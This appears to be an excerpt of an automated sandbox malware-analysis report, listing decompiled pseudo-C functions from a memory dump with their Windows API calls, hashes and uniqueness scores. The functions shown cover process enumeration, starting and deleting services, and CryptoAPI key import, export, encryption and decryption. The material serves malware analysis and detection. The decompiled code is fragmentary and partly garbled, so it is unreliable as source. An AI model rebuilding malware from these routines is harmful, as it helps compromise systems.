fileCOMMON

C-Code - Quality: 58%

			E0050D864(void* __esi) {
				int _t5;
				void* _t9;

				 *0x513344();
				L00501DB0(__esi);
				_t5 = DeleteFileW(_t9 - 0x208); // executed
				return _t5;
			}

0x0050d864
0x0050d86f
0x0050d87b
0x0050d885

APIs

_snwprintf.NTDLL ref: 0050D864
DeleteFileW.KERNELBASE(?), ref: 0050D87B

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: DeleteFile_snwprintf
String ID:
API String ID: 366827715-0
Opcode ID: 816b7c97c36d1f1914c5857cd82044123c0cba103daabfa069a1be0c6b459163
Instruction ID: bfdfd25b59dc1ccfdcbe8f6216a22f85bc187f3f6e0fb0ac517244e42d4c445c
Opcode Fuzzy Hash: 816b7c97c36d1f1914c5857cd82044123c0cba103daabfa069a1be0c6b459163
Instruction Fuzzy Hash: 75C08C3690002887CB00BBA8AC1D0DDB72CEB44205B4042DAF81A93112DF314B248BCA

Uniqueness

Uniqueness Score: 2.12%

Function 00501C27, Relevance: 3.0, APIs: 2, Instructions: 10COMMON

APIs

Process32FirstW.KERNEL32 ref: 00501C33
CloseHandle.KERNEL32 ref: 00501C71

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CloseFirstHandleProcess32
String ID:
API String ID: 917458368-0
Opcode ID: 443e5da1f2f078e64ff6b3115bc7e84a17bf64626f9363358bde53144ea64c5d
Instruction ID: c921e2c3ce31758bf6489e356c6aab75f8289efcc468b69066ee134813bc5525
Opcode Fuzzy Hash: 443e5da1f2f078e64ff6b3115bc7e84a17bf64626f9363358bde53144ea64c5d
Instruction Fuzzy Hash: 6CC01270186820BAE7002B61BC0C5AE3D28BF03300B108000E401900C1CB748A04DE99

Uniqueness

Uniqueness Score: 0.01%

Function 00501C58, Relevance: 3.0, APIs: 2, Instructions: 7COMMON

APIs

Process32NextW.KERNEL32 ref: 00501C58
CloseHandle.KERNEL32 ref: 00501C71

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CloseHandleNextProcess32
String ID:
API String ID: 4007157957-0
Opcode ID: 541bc3da8fd2574029c1a32ca2a5e436ae522e026259a12421bb9fd946b95f70
Instruction ID: e9412e63a7cdda10d7825b1a9e8482805838bc047f7eac4f96ea8172dbde040f
Opcode Fuzzy Hash: 541bc3da8fd2574029c1a32ca2a5e436ae522e026259a12421bb9fd946b95f70
Instruction Fuzzy Hash: 11B09230386820EAA3041B20B92C1AA2E24BE133413109405A402900D1DF208B04EA1A

Uniqueness

Uniqueness Score: 0.01%

Function 0050D569, Relevance: 3.0, APIs: 2, Instructions: 7serviceCOMMON

APIs

OpenSCManagerW.ADVAPI32 ref: 0050D569
CloseServiceHandle.ADVAPI32(00000000), ref: 0050D57E

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CloseHandleManagerOpenService
String ID:
API String ID: 1199824460-0
Opcode ID: 868ef86202e1c44c8e3f751495b69ec31f1e9ef2845aea159fff5b32651b8ff3
Instruction ID: 5669ed1375ffdf8480e5ce4f730666fc3bdfa2ba40af636e6faf85bb408a1970
Opcode Fuzzy Hash: 868ef86202e1c44c8e3f751495b69ec31f1e9ef2845aea159fff5b32651b8ff3
Instruction Fuzzy Hash: B0B092B02042029FDF148FB2AD0C7893FA8B724309F00C044A909D01A1CF788518EF60

Uniqueness

Uniqueness Score: 0.02%

Function 0050C4A5, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

APIs

GetWindowsDirectoryW.KERNEL32 ref: 0050C4A5

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: DirectoryWindows
String ID:
API String ID: 3619848164-0
Opcode ID: 2694a88e3c9d6163319e159160bcda97771e88474e6f44451ffab28ed0100c66
Instruction ID: d80f297dee9ea7da4bb2e7faee3d9ba05f5a17bdf2e2a6e77f56f9140110daa5
Opcode Fuzzy Hash: 2694a88e3c9d6163319e159160bcda97771e88474e6f44451ffab28ed0100c66
Instruction Fuzzy Hash: DCD01212D44218D6DF305F00D8A667A7FB8F713316F0487C5D80C970E0EBB14DD486A1

Uniqueness

Uniqueness Score: 0.02%

Function 0050D500, Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t5;
				void* _t6;
				void* _t7;
				void* _t8;
				void* _t12;

				L0050CDA0(_t5, _t12);
				L0050CF00(); // executed
				_t3 = L00501030(_t12); // executed
				_t11 = _t3;
				if(_t3 != 0) {
					L0050C990(_t5, _t6, _t7, _t8, _t11, _t12); // executed
				}
				ExitProcess(0);
			}

0x0050d506
0x0050d50b
0x0050d510
0x0050d515
0x0050d517
0x0050d519
0x0050d519
0x0050d520

APIs

ExitProcess.KERNEL32 ref: 0050D520

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 3aa72c0febbab0d3a2919d6288e5d55704daa3347adc3f4492a49b51d439609c
Instruction ID: 82e59c657070fb9c2af6ecf54ecbf478ec641426236e854c168c07c4fe136b53
Opcode Fuzzy Hash: 3aa72c0febbab0d3a2919d6288e5d55704daa3347adc3f4492a49b51d439609c
Instruction Fuzzy Hash: 0BC08C2101464302D31033F80C0F30C3C087F82B51F180320FD70840C2FD10B540807B

Uniqueness

Uniqueness Score: 0.01%

Function 00501264, Relevance: 1.5, APIs: 1, Instructions: 10COMMON

APIs

GetFileAttributesW.KERNELBASE ref: 00501264

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2cbb08657b52d8d0830e8a9b3af27cd394c15206e457c7d1fd36f6d7189cf597
Instruction ID: 3103b7cff23bcb569e5ecdc9aa472c18e5497a49e3bf286263e9dae4d435abdd
Opcode Fuzzy Hash: 2cbb08657b52d8d0830e8a9b3af27cd394c15206e457c7d1fd36f6d7189cf597
Instruction Fuzzy Hash: 46C01228406962CABA20566A600C2BC2E90BB23334BA02B02C472800E28BA42985A047

Uniqueness

Uniqueness Score: 0.01%

Function 00501C10, Relevance: 1.5, APIs: 1, Instructions: 8processCOMMON

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00501C14

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CreateSnapshotToolhelp32
String ID:
API String ID: 3332741929-0
Opcode ID: 848d1ea31a457685c71cd2cf6c1b4118c027945947a143e2a28356c5e0d74a8a
Instruction ID: 848071bd7d0361589809bd6a1ec4efe59db9169a22388e5801e2ffc39926eb2a
Opcode Fuzzy Hash: 848d1ea31a457685c71cd2cf6c1b4118c027945947a143e2a28356c5e0d74a8a
Instruction Fuzzy Hash: 6DB09B35605A3087D3283738744C45C5C903A5E3343255B218D7E931E195608D455545

Uniqueness

Uniqueness Score: 0.01%

Function 0050C4E1, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

APIs

GetVolumeInformationW.KERNELBASE ref: 0050C4EB

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 4299aae61a24bd10dc0c3b7653de44697bfc0802379425b879ddee8c5b26419a
Instruction ID: cdec03f0a32036584666558225eddd835fef6b542897f50c8d4d174c015686a2
Opcode Fuzzy Hash: 4299aae61a24bd10dc0c3b7653de44697bfc0802379425b879ddee8c5b26419a
Instruction Fuzzy Hash: 4BB0923489919847D7502B60AC294A8BB70EA0522670041D5EC4A84122CA2A0A628E40

Uniqueness

Uniqueness Score: 0.02%

Function 0050D8A5, Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

APIs

CreateFileW.KERNELBASE ref: 0050D8A5

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 61ee62ca3fced456ab23b04714596fc23033cc9216e930f2a5f52014a726e66e
Instruction ID: 35fa6562fc575d7a1491ca9b689d40f3b1a98b621b3ed3ab08d01a6434d183d2
Opcode Fuzzy Hash: 61ee62ca3fced456ab23b04714596fc23033cc9216e930f2a5f52014a726e66e
Instruction Fuzzy Hash: EDB0123240C4304A8B20273C344C0D85D3027963303168B92EC72532E4A5200E8B5081

Uniqueness

Uniqueness Score: 0.01%

Function 0050D61D, Relevance: 1.5, APIs: 1, Instructions: 2COMMON

APIs

SHGetFolderPathW.SHELL32 ref: 0050D61D

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 30d32d568c9e34bd8641d4a3d0b26ae923a3cf0e26c639038ae8b3f227d0259e
Instruction ID: cd45cfaf2750c983436bfe5d25efc85bad0c7f9a95a1fbbbab9587095f9a00e7
Opcode Fuzzy Hash: 30d32d568c9e34bd8641d4a3d0b26ae923a3cf0e26c639038ae8b3f227d0259e
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: 0.01%

Function 004E1FA4, Relevance: 1.4, APIs: 1, Instructions: 147memoryCOMMON

APIs

VirtualAlloc.KERNELBASE ref: 004E206B

Memory Dump Source

Source File: 0000000B.00000002.1434045425.004E0000.00000040.sdmp, Offset: 004E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e0000_363.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1374ca2cd218c8da3dea32c612fb4b524c12b4a5dcce5f438b317e5499d1abba
Instruction ID: 3151fc6816a5f873d5cf7884a473b3fb7d46d2a87a82867e47e2bc653d4e6728
Opcode Fuzzy Hash: 1374ca2cd218c8da3dea32c612fb4b524c12b4a5dcce5f438b317e5499d1abba
Instruction Fuzzy Hash: 4F61D7B4D012199FDB08CFA9D59069EBBF1FF88305F24852ED549AB380D779A941CF84

Uniqueness

Uniqueness Score: 0.00%

Non-executed Functions

Function 0050DC10, Relevance: 6.0, APIs: 4, Instructions: 34
serviceCOMMON

C-Code - Quality: 61%

			E0050DC10(void* __ecx, void* __edx, void* __esi, void* __eflags) {
				void* _t3;
				void* _t8;
				int _t9;
				void* _t17;
				void* _t23;

				_t3 = L00501D10(0x511d50, __edx, __ecx, __esi);
				_t20 = _t3;
				 *0x513344(_t23 - 0x208, 0x104, _t3,  *0x513308, 0x517393ad);
				L00501DB0(_t20);
				_t8 = OpenServiceW(__ecx, _t23 - 0x208, 0x10000);
				_t17 = _t8;
				if(_t17 == 0) {
					goto 0x521d30;
					asm("int3");
					asm("int3");
					return _t8;
				} else {
					_t9 = DeleteService(_t17);
					CloseServiceHandle(_t17);
					return _t9;
				}
			}

0x0050dc1c
0x0050dc27
0x0050dc36
0x0050dc41
0x0050dc53
0x0050dc59
0x0050dc5d
0x0050dc77
0x0050dc7c
0x0050dc7d
0x0050dc7e
0x0050dc5f
0x0050dc60
0x0050dc69
0x0050dc76
0x0050dc76

APIs

_snwprintf.NTDLL ref: 0050DC36
OpenServiceW.ADVAPI32(?,?,00010000), ref: 0050DC53
DeleteService.ADVAPI32(00000000,?,?,00010000), ref: 0050DC60
CloseServiceHandle.ADVAPI32(00000000,?,?,00010000), ref: 0050DC69

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: Service$CloseDeleteHandleOpen_snwprintf
String ID:
API String ID: 88604382-0
Opcode ID: f207266bde09c92e81b88e57f50c775e6206ed9c680aa35c28ec33113f57fbc9
Instruction ID: 90377b3d020cce8cc5b39f9d5b2c0991619671395ff3eb7f2cbc6977728a47f1
Opcode Fuzzy Hash: f207266bde09c92e81b88e57f50c775e6206ed9c680aa35c28ec33113f57fbc9
Instruction Fuzzy Hash: 2AF02733500210B7CB2167686C0C9EEBBBCEF94750F0005A5FA05E32A1DF718D909799

Uniqueness

Uniqueness Score: 0.02%

Function 005023B7, Relevance: 6.0, APIs: 4, Instructions: 14
encryptionCOMMON

C-Code - Quality: 68%

			E005023B7(void* __eax) {
				void* _t3;

				_t3 =  *0x5126fc();
				if(_t3 == 0) {
					CryptDestroyKey( *0x514cb8);
					CryptDestroyKey( *0x514cb4);
					CryptReleaseContext( *0x514cb0, 0);
					return 0;
				} else {
					goto 0x5208f2;
					return _t3;
				}
			}

0x005023bc
0x005023c4
0x005023d2
0x005023de
0x005023ec
0x005023f4
0x005023c6
0x005023c6
0x005023cb
0x005023cb

APIs

CryptCreateHash.ADVAPI32 ref: 005023BC
CryptDestroyKey.ADVAPI32 ref: 005023D2
CryptDestroyKey.ADVAPI32 ref: 005023DE
CryptReleaseContext.ADVAPI32(00000000), ref: 005023EC

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: Crypt$Destroy$ContextCreateHashRelease
String ID:
API String ID: 4057265880-0
Opcode ID: bf41c4b2a8ebd9301034e46992483145bb77d751143fa96588ba5b1dd276e260
Instruction ID: 4bbae2fdff32dc15c75afa31cf190cffd66e6443ac88f6514fe6cc88cac799c4
Opcode Fuzzy Hash: bf41c4b2a8ebd9301034e46992483145bb77d751143fa96588ba5b1dd276e260
Instruction Fuzzy Hash: 81D067701161119BDB011F75FD4D6D93EA1FB64385F50E431A201900B1CF214CA8BF95

Uniqueness

Uniqueness Score: 0.02%

Function 005024F6, Relevance: 4.6, APIs: 3, Instructions: 73
encryptionCOMMON

C-Code - Quality: 18%

			E005024F6(intOrPtr __ecx, intOrPtr __edx) {
				intOrPtr _t25;
				BYTE* _t26;
				int _t36;
				signed int _t43;
				DWORD* _t45;
				BYTE** _t55;
				void* _t58;
				void* _t60;

				 *((intOrPtr*)(_t60 - 4)) = __ecx;
				 *((intOrPtr*)(_t60 - 0xc)) = __edx;
				_t25 =  *((intOrPtr*)(__edx + 4));
				_t58 = 0;
				_t43 = _t25 - 0x74;
				if(_t25 >= 0x74) {
					if((_t43 & 0x0000000f) == 0) {
						L4:
						_t55 =  *(_t60 + 8);
						_t55[1] = _t43;
						_t26 = E005017C0(_t43);
						 *_t55 = _t26;
						if(_t26 != 0) {
							 *((intOrPtr*)(_t60 - 0xc)) =  *((intOrPtr*)( *((intOrPtr*)(_t60 - 0xc))));
							_push(_t60 - 8);
							_push(0);
							_push(0);
							_push( *((intOrPtr*)( *((intOrPtr*)(_t60 - 4)) + 0xc)));
							if( *0x512794() == 0) {
								_t45 =  &(_t55[1]);
								goto L12;
							} else {
								_push(_t43);
								L00501810();
								_t45 =  &(_t55[1]);
								_t36 = CryptDecrypt( *( *((intOrPtr*)(_t60 - 4)) + 8),  *(_t60 - 8), 1, 0,  *_t55, _t45);
								if(_t36 != 0) {
									goto 0x52096b;
									asm("int3");
									asm("int3");
									_push( *((intOrPtr*)(_t36 + 4)));
									asm("pushad");
									 *0x512844( *(_t60 - 8),  *((intOrPtr*)(_t60 - 0xc)));
									_t58 =  !=  ? 1 : _t58;
								}
								 *0x5127bc( *(_t60 - 8));
								if(_t58 == 0) {
									L12:
									E00501830( *_t55);
									 *_t55 = 0;
									 *_t45 = 0;
								}
							}
						}
						return _t58;
					} else {
						_t25 = (_t43 & 0xfffffff0) + 0x10;
						if(_t43 != _t25) {
							goto L1;
						} else {
							goto L4;
						}
					}
				} else {
					L1:
					goto 0x520956;
					asm("int3");
					asm("int3");
					return _t25;
				}
			}

0x005024f8
0x005024fc
0x00502500
0x00502503
0x00502505
0x0050250b
0x00502518
0x00502526
0x00502527
0x0050252c
0x0050252f
0x00502534
0x00502538
0x00502543
0x00502549
0x0050254d
0x0050254f
0x00502551
0x0050255c
0x005025bd
0x00000000
0x0050255e
0x00502566
0x00502567
0x0050256f
0x00502582
0x0050258a
0x0050258c
0x00502591
0x00502592
0x00502593
0x00502597
0x0050259e
0x005025ab
0x005025ab
0x005025b1
0x005025b9
0x005025c0
0x005025c2
0x005025c7
0x005025cd
0x005025cd
0x005025b9
0x0050255c
0x005025db
0x0050251a
0x0050251f
0x00502524
0x00000000
0x00000000
0x00000000
0x00000000
0x00502524
0x0050250d
0x0050250d
0x0050250d
0x00502512
0x00502513
0x00502514
0x00502514

APIs

Part of subcall function 005017C0: GetProcessHeap.KERNEL32(00000008,?,00506B19), ref: 005017C3
Part of subcall function 005017C0: RtlAllocateHeap.NTDLL(00000000,?,00506B19), ref: 005017CA

CryptDuplicateHash.ADVAPI32(?,00000000,00000000,?), ref: 00502554
CryptDecrypt.ADVAPI32(?,?,00000001,00000000,?,?), ref: 00502582
CryptDestroyHash.ADVAPI32(?), ref: 005025B1

Part of subcall function 00501830: GetProcessHeap.KERNEL32(00000000,?,0050C7E7), ref: 00501833
Part of subcall function 00501830: HeapFree.KERNEL32(00000000), ref: 0050183A

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: Heap$Crypt$HashProcess$AllocateDecryptDestroyDuplicateFree
String ID:
API String ID: 3328019083-0
Opcode ID: 7bdb64b73e801260716a74dc8969892b0a3a6c2f14797add475c946f8049cf6a
Instruction ID: a8679eb2f1e8d03b5c032c4e288d3d91d2d133c5541618a9188565db944f11bd
Opcode Fuzzy Hash: 7bdb64b73e801260716a74dc8969892b0a3a6c2f14797add475c946f8049cf6a
Instruction Fuzzy Hash: 16218E71A00205AFDB208F58DC95B9EFBB9FF44340F248165E405EB2E1E730DA50DB94

Uniqueness

Uniqueness Score: 0.03%

Function 0050DD51, Relevance: 4.5, APIs: 3, Instructions: 16
serviceCOMMON

C-Code - Quality: 58%

			E0050DD51(void* __edi) {
				void* _t6;
				void* _t9;
				void* _t10;
				int _t12;
				void* _t17;

				_t10 = __edi;
				_t12 = StartServiceW(??, ??, ??);
				CloseServiceHandle(_t6);
				L0050DC00(__edi, _t9, _t12, _t17);
				CloseServiceHandle(_t10);
				return _t12;
			}

0x0050dd51
0x0050dd58
0x0050dd5a
0x0050dd66
0x0050dd6c
0x0050dd7a

APIs

StartServiceW.ADVAPI32 ref: 0050DD51
CloseServiceHandle.ADVAPI32 ref: 0050DD5A
CloseServiceHandle.ADVAPI32(?,?,emitwpc,emitwpc,00000012,00000010,00000002,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0050DD6C

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: Service$CloseHandle$Start
String ID:
API String ID: 390812829-0
Opcode ID: f55f570a665d771fdddb00b3379b97b79798035563d355320f4b3abe9e1c97ac
Instruction ID: 46eeace1681f1c2b35a3d60fb82b39dfef61f52dcc8402630b74500940f83dda
Opcode Fuzzy Hash: f55f570a665d771fdddb00b3379b97b79798035563d355320f4b3abe9e1c97ac
Instruction Fuzzy Hash: B0D0C932708011A7862827B8BD4C0BCFB78F79466AB118596FB0AC2250CE190C25B6E1

Uniqueness

Uniqueness Score: 0.04%

Function 00502335, Relevance: 4.5, APIs: 3, Instructions: 15
encryptionCOMMON

C-Code - Quality: 16%

			E00502335(void* __eax) {
				int _t8;
				void* _t10;

				_t8 = CryptImportKey();
				LocalFree( *(_t10 - 4));
				if(_t8 == 0) {
					CryptReleaseContext( *0x514cb0, 0);
				}
				return _t8;
			}

0x00502343
0x00502345
0x0050234d
0x00502357
0x00502357
0x00502363

APIs

CryptImportKey.ADVAPI32 ref: 0050233A
LocalFree.KERNEL32(?), ref: 00502345
CryptReleaseContext.ADVAPI32(00000000), ref: 00502357

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: Crypt$ContextFreeImportLocalRelease
String ID:
API String ID: 202888279-0
Opcode ID: ee3846a9930676087fa8b40760c507ab09c7093929d384743b374fea850dbd78
Instruction ID: 1c09dba0e2e670d2dbdb3aeef254c883aa2060ccc805533ec7289844f5208c9b
Opcode Fuzzy Hash: ee3846a9930676087fa8b40760c507ab09c7093929d384743b374fea850dbd78
Instruction Fuzzy Hash: 22D0C732A51124E7DB212FA4BD0C7DC7BA4F714796F0446A5FE05F2270CA224D24BBC0

Uniqueness

Uniqueness Score: 0.02%

Function 00502399, Relevance: 4.5, APIs: 3, Instructions: 12encryptionCOMMON

APIs

CryptGenKey.ADVAPI32 ref: 0050239E
CryptDestroyKey.ADVAPI32 ref: 005023DE
CryptReleaseContext.ADVAPI32(00000000), ref: 005023EC

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: Crypt$ContextDestroyRelease
String ID:
API String ID: 1322390979-0
Opcode ID: 0a82b7b88c0ea702ee456f4125ed4b006fe369a5188393befaebd1d7045a8741
Instruction ID: b8561cbe4d6f1054a2c11f9ace125825b65f3f09a3a5656b9281382b52c33178
Opcode Fuzzy Hash: 0a82b7b88c0ea702ee456f4125ed4b006fe369a5188393befaebd1d7045a8741
Instruction Fuzzy Hash: 5AD0C970112200DBDB112F31BC497DA3EE0FB24385F00A530A201D00B0DE2088A8BF81

Uniqueness

Uniqueness Score: 0.02%

Function 00502279, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13encryptionCOMMON

APIs

CryptExportKey.ADVAPI32(?,?,00000001,00000040,?), ref: 0050228B

Strings

l, xrefs: 00502279

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CryptExport
String ID: l
API String ID: 3389274496-2517025534
Opcode ID: 7368d70fe53f85761747a01c406ec84420cc55f3213449abf973aeffced31362
Instruction ID: 95ec5d0ad482c98f49cadda73af4bde62c308b2036886ae922e32d5bc592bdc2
Opcode Fuzzy Hash: 7368d70fe53f85761747a01c406ec84420cc55f3213449abf973aeffced31362
Instruction Fuzzy Hash: 5BD012B0205218F9F7248B909D49FBF7E7CFF00700F14450AB602F10C2D6B999146E20

Uniqueness

Uniqueness Score: 0.02%

Function 00502466, Relevance: 3.0, APIs: 2, Instructions: 29
encryptionCOMMON

C-Code - Quality: 18%

			E00502466(void* __eax, void* __ebx, intOrPtr* __edi) {
				void* _t14;
				intOrPtr _t23;
				intOrPtr* _t28;
				void* _t30;
				void* _t32;

				_t28 = __edi;
				asm("adc ch, al");
				 *0x83fffff3 = __eax + 0x8b;
				asm("les eax, [ecx*4+0x5053f045]");
				_t14 =  *0x512980( *((intOrPtr*)( *((intOrPtr*)(_t32 - 4)) + 8)),  *((intOrPtr*)(_t32 + 8)), 1, _t30,  *((intOrPtr*)(_t32 - 8)));
				if(_t14 != 0) {
					goto 0x52092d;
					asm("int3");
					asm("int3");
					_t23 =  *((intOrPtr*)(_t14 + 4));
					if(L00502270(_t14, _t23,  *((intOrPtr*)(_t14 + 8))) != 0) {
						_push(_t23);
						L005022C0(_t18,  *((intOrPtr*)(_t32 + 8)), __ebx + 0x60);
						_t30 =  !=  ? 1 : _t30;
					}
				}
				 *0x5127bc( *((intOrPtr*)(_t32 + 8)));
				if(_t30 == 0) {
					E00501830( *_t28);
					 *_t28 = 0;
					 *((intOrPtr*)(_t28 + 4)) = 0;
				}
				return _t30;
			}

0x00502466
0x00502468
0x0050246a
0x0050246f
0x00502485
0x0050248d
0x0050248f
0x00502494
0x00502495
0x00502499
0x005024a6
0x005024a8
0x005024af
0x005024be
0x005024be
0x005024a6
0x005024c4
0x005024cc
0x005024d0
0x005024d5
0x005024db
0x005024db
0x005024ea

APIs

CryptEncrypt.ADVAPI32(?,?,00000001,?,?), ref: 00502485
CryptDestroyHash.ADVAPI32(?,?,?), ref: 005024C4

Part of subcall function 00501830: GetProcessHeap.KERNEL32(00000000,?,0050C7E7), ref: 00501833
Part of subcall function 00501830: HeapFree.KERNEL32(00000000), ref: 0050183A

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

